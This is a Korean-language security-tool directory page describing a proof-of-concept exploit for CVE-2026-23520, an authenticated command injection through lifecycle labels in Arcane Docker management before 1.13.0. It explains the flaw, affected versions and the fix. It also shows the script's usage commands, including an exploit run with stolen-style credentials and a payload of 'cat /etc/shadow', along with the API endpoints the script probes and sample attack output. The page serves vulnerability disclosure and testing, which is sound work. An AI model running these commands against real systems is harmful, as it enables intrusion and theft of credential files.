Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC-CVE-2026-23520 — # CVE-2026-23520 개념 증명 익스플로잇 Arcane Docker 관리에서 수명 주기 라벨의 OS 명령 주입을 통한 인증된 RCE 취약점에 대한 개념 증명 익스플로잇입니다. check, exploit, generate 모드를 포함합니다. | Kitploit
도구/GitHubGitHub/augmaster/poc-cve-2026-23520
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubaugmaster/poc-cve-2026-23520

POC-CVE-2026-23520

# CVE-2026-23520 개념 증명 익스플로잇 Arcane Docker 관리에서 수명 주기 라벨의 OS 명령 주입을 통한 인증된 RCE 취약점에 대한 개념 증명 익스플로잇입니다. check, exploit, generate 모드를 포함합니다.

저장소 보기
25개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-23520 — Arcane Lifecycle Label RCE

Arcane Docker Management의 OS 명령 주입 (< 1.13.0)

개요

Arcane은 현대적인 웹 기반 Docker 관리 플랫폼입니다. 1.13.0 이전 버전은 업데이터 서비스의 라이프사이클 레이블에서 OS 명령 주입을 통한 인증된 원격 코드 실행(RCE) 취약점에 노출되어 있습니다.

업데이터 서비스는 두 가지 Docker 컨테이너 레이블을 지원했습니다:

레이블트리거
com.getarcaneapp.arcane.lifecycle.pre-update컨테이너 업데이트 전
com.getarcaneapp.arcane.lifecycle.post-update컨테이너 업데이트 후

레이블 값은 어떠한 검증도 없이 직접 /bin/sh -c로 전달됩니다. 모든 인증된 사용자(관리자뿐만 아니라)가 API를 통해 프로젝트를 생성할 수 있기 때문에, 공격자는 악성 프로젝트를 심을 수 있습니다. 이후 관리자가 컨테이너 업데이트를 트리거하면 주입된 명령이 컨테이너 내부에서 실행됩니다 — 볼륨 마운트가 존재하는 경우 호스트에서도 실행될 수 있습니다.

공격 흐름

root@kitploit:~
 공격자 (저권한 사용자)                   Arcane 서버
 ────────────────────────                   ──────────────
 1. 인증 (모든 사용자)  ──────────►  JWT 발급
 2. 악성 라이프사이클 레이블이          악성 레이블이 포함된
    포함된 프로젝트 생성  ──────────►  프로젝트 저장
                                             │
         ┌───────────────────────────────────┘
         │  3. 관리자가 컨테이너 업데이트 트리거
         ▼
    Arcane 업데이터가 레이블 값 읽기
    /bin/sh -c로 전달
         │
         ▼
    *** 임의 명령 실행 ***
    (컨테이너 범위, 또는 볼륨이 마운트된 경우 호스트)

영향을 받는 버전

상태버전
취약Arcane < 1.13.0
패치됨Arcane ≥ 1.13.0

수정 사항(커밋 5a9c2f9)은 공격 표면을 제거하기 위해 라이프사이클 레이블 기능을 완전히 제거합니다.

기능

  • 제로 의존성 — 표준 라이브러리 urllib만 사용, Python 3.10+에서 실행 가능
  • 탄력적인 프로빙 — 다양한 Arcane 버전 및 구성에 적응하기 위해 여러 API 경로, 응답 키 이름, 자격 증명 필드 형식을 자동으로 시도
  • 세 가지 모드 — check(핑거프린팅), exploit(배포), generate(오프라인 compose 파일)
  • 상세 모드 (-v) — 프로빙 중인 엔드포인트와 반환 결과를 정확히 표시

사용법

대상이 취약한지 확인

root@kitploit:~
python3 poc_cve_2026_23520.py check -t <TARGET_IP>

익스플로잇 배포

root@kitploit:~
python3 poc_cve_2026_23520.py exploit \
    -t <TARGET_IP> \
    -u <USERNAME> \
    -p <PASSWORD> \
    --payload "id"

악성 compose 파일 생성 (오프라인)

root@kitploit:~
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"

엔드포인트 프로빙 디버그

root@kitploit:~
python3 poc_cve_2026_23520.py -v check -t <TARGET_IP>

전체 옵션

root@kitploit:~
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...

positional arguments:
  {exploit,check,generate}
    exploit             Arcane API를 통해 악성 프로젝트 배포
    check               Arcane 핑거프린팅 및 취약 여부 확인
    generate            악성 compose 파일 생성 (네트워크 불필요)

options:
  -h, --help            도움말 메시지 표시 후 종료
  -v, --verbose         프로빙 디버그 출력 표시

익스플로잇 플래그:

플래그설명기본값
-t, --targetArcane 호스트 (IP 또는 호스트명)필수
-P, --portArcane 포트3552
-u, --username인증된 Arcane 사용자필수
-p, --password사용자 비밀번호필수
--payload주입할 셸 명령id
--hookpre 또는 post 업데이트 훅pre
--project-name악성 프로젝트 이름poc-cve-2026-23520
--env-id환경 ID (생략 시 자동 감지)자동
--schemehttp 또는 httpshttp
--no-verifyTLS 인증서 검증 건너뛰기꺼짐

엔드포인트 탄력성

이 스크립트는 단일 API 경로를 하드코딩하지 않습니다. 대신 각 작업에 대해 여러 알려진 경로를 자동으로 프로빙하고 첫 번째 성공 지점에서 중지합니다:

작업시도하는 엔드포인트
버전/api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info
인증/api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login
환경/api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints
프로젝트 생성/api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects 등

응답 키도 유연하게 매칭됩니다 (예: currentVersion, version, Version, serverVersion — 중첩 객체 및 대소문자 구분 없는 조회 포함).

예제 출력

root@kitploit:~
   ╔═══════════════════════════════════════════════════════╗
   ║          CVE-2026-23520  PoC Exploit                  ║
   ║    Arcane < 1.13.0 — Lifecycle Label RCE              ║
   ╚═══════════════════════════════════════════════════════╝

  ── 1단계 · 대상 핑거프린팅 ──
  [*] 대상: http://10.129.7.208:3552
  [*] 버전 엔드포인트 프로빙 중 …
  [+] /api/version을 통해 버전 확인
  [+] Arcane 버전: v1.12.4
  [+] 버전 v1.12.4는 1.13.0 미만 — 취약

  ── 2단계 · 인증 ──
  [*] 공격자로 인증 중 …
  [+] /api/auth/login을 통해 JWT 획득

  ── 3단계 · 환경 탐색 ──
  [*] 환경 엔드포인트 프로빙 중 …
  [+] /api/environments를 통해 1개의 환경 발견
  [*]   → 1  (local)
  [+] 환경 사용: 1

  ── 4단계 · 악성 프로젝트 심기 ──
  [*] 라이프사이클 레이블에 페이로드 주입 중: pre-update
  [*] 레이블 : com.getarcaneapp.arcane.lifecycle.pre-update
  [*] 값 : id
  [+] /api/environments/1/projects를 통해 프로젝트 생성

  ── 익스플로잇 성공적으로 심음 ──
  [+] 악성 프로젝트는 이제 업데이트 트리거를 기다리고 있습니다.

참고 자료

  • 보안 권고: GHSA-gjqq-6r35-w3r8
  • NVD: CVE-2026-23520
  • 수정 커밋: 5a9c2f9
  • 패치 릴리스: v1.13.0

면책 조항

이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다. 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에만 사용하십시오.

라이선스

MIT

도구 다운로드